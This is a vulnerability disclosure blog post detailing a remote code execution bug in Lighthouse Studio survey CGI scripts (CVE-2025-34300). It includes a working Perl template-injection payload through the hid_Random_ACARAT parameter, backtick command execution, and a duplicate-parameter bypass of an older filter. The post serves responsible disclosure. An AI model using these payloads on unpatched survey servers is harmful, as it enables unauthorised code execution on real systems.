July 16, 2025
RCE in the Most Popular Survey Software You’ve Never Heard Of
Have you ever seen a popup asking you to participate in a research survey? Have you ever received an email asking for your valuable input? Chances are, you’ve used the survey software Lighthouse Studio, developed by Sawtooth Software. (If you want to, you can grep your email for `ciwweb` – you may be surprised.)
The Lighthouse Studio software is comprised of two parts; the first is a desktop application used by the survey creators to set up the questions, response format, and any other parameters of the survey. This is not typically exposed to an attacker and is not the subject of this blog. The second, however, is a set of Perl CGI scripts that are uploaded to a company’s website which allow users to take the survey.
At Assetnote, we are always looking for ways to secure out client’s attack surfaces, and the chance to audit some old school Perl was too good to pass up. In addition, the potential impact is huge, since the scripts have no auto update mechanism and and often copied from survey to survey. A single company might have 10s or even 100s of copies of the scripts on their webserver.
In this blog we detail a bug that allows any user with the survey link to achieve remote code execution on any web server hosting these scripts.
Reverse Engineering the Source
The installer of Lighthouse Studio is freely available. After installing the software on a Windows VM, we found the server scripts in `Server/cgi-bin`:
cgi-bin % ls
AdminMiddlewares9_16_12.pl
BetaFeatures9_16_12.pl
Database9_16_12.pl
DesignFileReader9_16_12.pl
JS9_16_12.pl
Middlewares9_16_12.pl
ObjectToJson9_16_12.pl
Path9_16_12.pl
PseudoJWT9_16_12.pl
acalib9_16_12.pl
acbclib9_16_12.pl
admin.pl
authlib9_16_12.pl
cbclib9_16_12.pl
cgicookies9_16_12.pl
ciwlib9_16_12.pl
ciwweb.pl
cookies9_16_12.pl
cvalib9_16_12.pl
enterlib9_16_12.pl
environment9_16_12.pl
grdlib9_16_12.pl
jshelpers9_16_12.pl
libs9_16_12.pl
lite9_16_12.pl
maxdifflib9_16_12.pl
nonceinserter9_16_12.pl
perltools.pl
pverlib9_16_12.pl
sortnaturally9_16_12.pl
stringrandom9_16_12.pl
template9_16_12.pl
update9_16_12.pl
Note that even though the desktop software is Windows only, the server CGI scripts run on any platform, and indeed almost always seem be be run in Linux Apache + mod_cgi style setups.
Looking at the scripts, it quickly becomes apparent that they have been minified. Each file has variable and subroutine names replaced, and is written on one long line:
#!/usr/bin/perl
# ---------------------------------------------------------------------------
# ciwweb.pl
# Build: 1741704348952
# Ver: 9_16_12
# ---------------------------------------------------------------------------
# Lighthouse Studio - Web Surveying System
# Copyright Sawtooth Software, Inc. 1998-2025. All rights reserved.
# Provo, UT USA (801) 477-4700
#
# Any modification of this script will be considered violation of
# copyright (with the exception of the first line which can be
# modified to reflect the correct path to the Perl interpreter)
#
# Any use of this script or its code for purposes outside of
# the systems created by Sawtooth Software is prohibited.
# ---------------------------------------------------------------------------
use strict; package ssiwebciw9_16_12; if (exists($ENV{'MOD_PERL'}) && defined($ENV{'MOD_PERL'})) { ssiwebciw9_16_12::_qg(); } else { $SIG{"ALRM"} = \&ssiwebciw9_16_12::_qh; ...
To make this code more readable, we can use `Perl::Tidy` to format the code reasonably:
# ... snip prolog ...
package ssiwebciw9_16_12;
if ( exists( $ENV{'MOD_PERL'} ) && defined( $ENV{'MOD_PERL'} ) ) {
ssiwebciw9_16_12::_iaa();
}
else {
$SIG{"ALRM"} = \&ssiwebciw9_16_12::_iab;
eval { alarm(180); ssiwebciw9_16_12::_iaa(); alarm(0); };
if ($@) {
my $_aur = $@;
eval {
if ( $_aur =~ m/Sawtooth Software process time out/i ) {
my $_iag = "Process timed out.";
authlib9_16_12::_foj( 312, $_iag, $_iag, $@, 0 );
}
else { authlib9_16_12::_foj( 313, "", "", $_aur, 0 ); }
};
if ($@) { die("Sawtooth Software Error."); }
}
}
# ...
We still have tons of obfuscated code though. How do we understand what it does? If you’ve been following the latest reverse engineering trends, you may know that people are having some success applying AI to reverse engineering. Given that it’s the year 2025 and now AI software has a token context in the millions, we decided to use Google Gemini to try and deobfuscate the source code. With an appropriate prompt and given the source code, the AI generated a very commendable readable version of the source code:
For the following original code:
if ( exists $authlib9_16_12::_fuv{"s"} ) {
my $_qj = $authlib9_16_12::_fuv{"s"};
$_qj =~ s/(\d{2})/$1,/g;
my @_qk = split( ",", $_qj );
my @_ql = map { chr( $_ + 30 ) } @_qk;
my @_qm = split( "&", join( "", @_ql ) );
foreach my $_qn (@_qm) {
my ( $_hf, $_aa ) = split( "=", $_qn );
$authlib9_16_12::_fuv{$_hf} = $_aa;
}
}
Gemini gives something like this:
# Handle special 's=' parameter encoding (used for embedding params in links?)
if (exists $AuthLib::g_form_input{"s"}) {
parse_s_parameter($AuthLib::g_form_input{"s"}); # Original: _adw
}
# ...
# --- Helper: Parse 's=' Parameter ---
# Decodes URL parameters embedded in the 's' parameter value.
sub parse_s_parameter { # Original: _adw
my ($encoded_string) = @_; # Original: _qj
return unless $encoded_string;
# 1. Decode numeric encoding back to characters
# e.g., "707172" -> "70,71,72," -> [70, 71, 72] -> [chr(100), chr(101), chr(102)] -> "def"
$encoded_string =~ s/(\d{2})/$1,/g; # Add commas
my @char_codes = split(",", $encoded_string);
my @chars = map { chr($_ + 30) } grep { /^\d+$/ } @char_codes; # Convert code to char (offset 30)
my $decoded_params = join("", @chars);
# 2. Split into key=value pairs
my @param_pairs = split("&", $decoded_params); # Original: _qm
my $pair; # Original: _qn
foreach $pair (@param_pairs) {
my ($key, $value) = split("=", $pair, 2); # Split on first '=' only Original: _hf, _aa
if (defined $key && defined $value) {
# URL Decode key and value? Original didn't show decoding here. Assume already decoded.
# Store in global form input hash, potentially overwriting existing values
$AuthLib::g_form_input{$key} = $value;
}
}
}
The deobfuscated code is not perfect (`grep { /^\d+$/ }` is completely hallucinated and the generated code does a lot of defensive checks that the original code doesn’t) but AI greatly helps in mapping the most used functions, such as identifying `_fuv` as the form input. Since the way the AI changes code could have implications on its security, we uses the AI code purely as a reference for a broad overview and did our analysis directly on the original source.
Spotting the Bug
One of the most simple ways to achieve remote code execution would be user input reaching an eval sink. We quickly spotted a promising sink:
sub _fop {
my ( $_ls, $_gve ) = @_;
my $_ghf = "";
my $_ghg = "";
while ( $_ls =~ m/\[%(.*?)%\]/sg ) {
$_ghf = $1;
if ($_gve) { $_ghf =~ s/\\'/'/sg; $_ghf =~ s/\\\\/\\/sg; }
$_ghg = _foq( $_ghf, "Lighthouse Studio Scripting" );
$_ghg =~ s/\[%(.*?)%\]/$1/sg;
if ($_gve) { $_ghg =~ s/\\/\\\\/sg; $_ghg =~ s/'/\\'/sg; }
$_ls =~ s/\[%(.*?)%\]/$_ghg/s;
}
return nonceinserter9_16_12::_lj($_ls);
}
sub _foq {
my ( $_gtp, $_gvf ) = @_;
my $_ejf = "";
$_ejf = eval($_gtp);
if ( $authlib9_16_12::_qd && ( $_ejf eq "" || $@ ) ) {
$_ejf = "<span class=script_preview>[Script]</span>";
}
elsif ($@) {
authlib9_16_12::_foj(
132,
"Script error.",
"There is an error in " . $_gvf . ": Script:" . $_gtp, $@
);
}
else { return $_ejf; }
}
The subroutine `_fop` appears to be implementing some sort of primitive templating engine. Anything between `[% … %]` will be passed to `_foq` and evaluated as Perl code.
When seeing this, one immediately wonders where this templating system is used. It turns out that it’s used absolutely everywhere within the application, including some places which appear to take user input. We quickly identified a possible sink in `ciwweb.pl`, which is the entry point for any user surveys:
$_lw = '';
# ... snip ...
if ( exists $authlib9_16_12::_fuv{"hid_Random_ACARAT"} ) {
$_lw .=
"\n<input type=\"hidden\" name=\"hid_Random_ACARAT\" value=\""
. $authlib9_16_12::_fuv{"hid_Random_ACARAT"} . "\">\n";
}
# ... snip ...
$ciwlib9_16_12::_qg = 1;
$_lw = authlib9_16_12::_fop( $_lw, 0 );
It turns out the way the survey is rendered is that all the user input substitutions are done first, and then the `_fop` templating call is only ran after. At the time of calling `_fop`, the `_lw` variable contains the entire HTML source of the page. This is clearly insecure and quickly provided appended the `?hid_Random_ACARAT=[%257*7%25]` parameter to our example target:
GET /ExampleSurvey/cgi-bin/ciwweb.pl?hid_javascript=1&hid_Random_ACARAT=[%257*7%25] HTTP/2
Host: example.com
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
...
HTTP/2 200 OK
Date: Thu, 17 Apr 2025 01:20:43 GMT
Content-Type: text/html
...
<input type="hidden" name="hid_javascript" value="0">
<input type="hidden" name="hid_previous" value="0">
<input type="hidden" id="hid_screenwidth" name="hid_screenwidth" value="0">
<input type="hidden" name="hid_Random_ACARAT" value="49">
<input type="hidden" name="hid_show_prev" value="1">
<div class="page_header font_primary_color">
...
Success! We can trivially escalate this by passing a command in backticks; using:
[% %60ls%60 %]
Note: the backticks are URL encoded above due to formatting reasons within this blog post.
Making the Bug Reliable
When looking at a few different hosts, we discovered that on outdated hosts running the 9.15.x branch (which is very very common) our payload would fail to work. It seems a space is inserted between the `[` and `%`, foiling our injection:
<input type="hidden" name="hid_Random_ACARAT" value="[ %7*7%]">
This protection was apparently removed in a new version. To bypass this, we looked at some code from an older version of the software, which contained extra checks. Here, in this older version, it uses a different version of the obfuscation, so our query params are in `%authlib9_14_2::_akn`.
sub _xi {
my ($__bhr) = @_;
my $__bhh = "";
my $__bhi = "";
my $__bhj = 0;
my $__bhk = "";
foreach $__bhh ( sort keys(%authlib9_14_2::_akn) ) {
$__bhi = $authlib9_14_2::_akn{$__bhh};
if ( !$__bhr ) { $__bhi =~ s/</ < /g; $__bhi =~ s/>/ > /g; }
$__bhi =~ s/onbegin/on begin/ig;
$__bhi =~ s/<(\s*)script/<$1 s c r i p t/ig;
$__bhi =~ s/javascript/j a v a _ s c r i p t/ig;
$__bhi =~ s/\[%/\[ %/ig;
$authlib9_14_2::_akn{$__bhh} = $__bhi;
if ( !$__bhr && ref($__bhi) eq "ARRAY" ) {
$__bhj = $__bhi;
$__bhi = $__bhj->[0];
$authlib9_14_2::_akn{$__bhh} = $__bhi;
my $__bhl = @{$__bhj};
my $__bhm = 0;
my $__bhn = $__bhj->[0];
my $__bho = 0;
for ( $__bhm = 1 ; $__bhm < $__bhl ; $__bhm++ ) {
if ( $__bhn ne $__bhj->[$__bhm] ) { $__bho = 1; last; }
}
if ($__bho) {
$__bhk .=
"Found Null character in the %in hash. Key: "
. $__bhh
. " Value: "
. join( " | ", @{$__bhj} );
}
}
// .. snip ..
}
// .. snip ..
}
For those who don’t speak Perl, here `$__bhh` is our query key and `$__bhi` is our query value. The line `$__bhi =~ s/\[%/\[ %/ig;` is doing the heavy lifting, and foiling our exploit. Looking a little further however, we see something interesting:
f ( !$__bhr && ref($__bhi) eq "ARRAY" ) {
$__bhj = $__bhi;
$__bhi = $__bhj->[0];
$authlib9_14_2::_akn{$__bhh} = $__bhi;
If our query value is actually an array (multiple of the same key has been passed), it will simply set it to the first value of the array. How does this work with the substitutions above though, how does the `s` operator act on an array ref? Let’s dust our Perl interpreter off and test it:
$a = ['foobar', 'x'];
$a =~ s/foobar/123/;
print $a->[0]; # foobar
That’s right, when `$__bhi` is an array ref, the substitutions get completely ignored! Thus we can bypass this protection simply by passing the query param twice, and indeed passing `hid_Random_ACARAT=[%257*7%25]&hid_Random_ACARAT=x` works on targets from every version.
After this analysis, we have a payload which works on almost every ‘in the wild’ version of this software!
conclusion
We reported this bug to Sawtooth Software on April 9th, 2025. Version 9.16.14 has been released to correct the issue and affected users should update as soon as possible. This issue has been assigned CVE-2025-34300.
Our Security Research team continues to perform novel zero-day and N-day security research to ensure maximum coverage and care for our customers’ attack surfaces.
The capabilities of our Security Research are deeply integrated into the Assetnote Attack Surface Management platform, which continuously monitors, detects, and proves the exploitability of exposures before bad actors can exploit them.
Timeline
2025-04-09: Security issue reported.
2025-04-10: Sawtooth Software responds asking for more information.
2025-04-10: We respond with more information.
2025-05-20: We follow up asking for updates on progress on a fix.
2025-06-11: We again follow up asking for updates on progress on a fix.
2025-06-19: We again follow up saying we are planning to blog about the issue after the 90 day deadline.
2025-06-25: We again follow up asking for progress on a fix.
2025-07-09: We again follow up to say we will release the research on July 15th.
2025-07-09: Sawtooth Software releases patch 9.16.14 which fixes the issue.
About Assetnote
Searchlight Cyber’s ASM solution, Assetnote, provides industry-leading attack surface management and adversarial exposure validation solutions, helping organizations identify and remediate security vulnerabilities before they can be exploited. Customers receive security alerts and recommended mitigations simultaneously with any disclosures made to third-party vendors. Visit our attack surface management page to learn more about our platform and the research we do.
in this article
Book your demo: Identify cyber threats earlier– before they impact your business
Searchlight Cyber is used by security professionals and leading investigators to surface criminal activity and protect businesses. Book your demo to find out how Searchlight can:
Enhance your security with advanced automated dark web monitoring and investigation tools
Continuously monitor for threats, including ransomware groups targeting your organization
Prevent costly cyber incidents and meet cybersecurity compliance requirements and regulations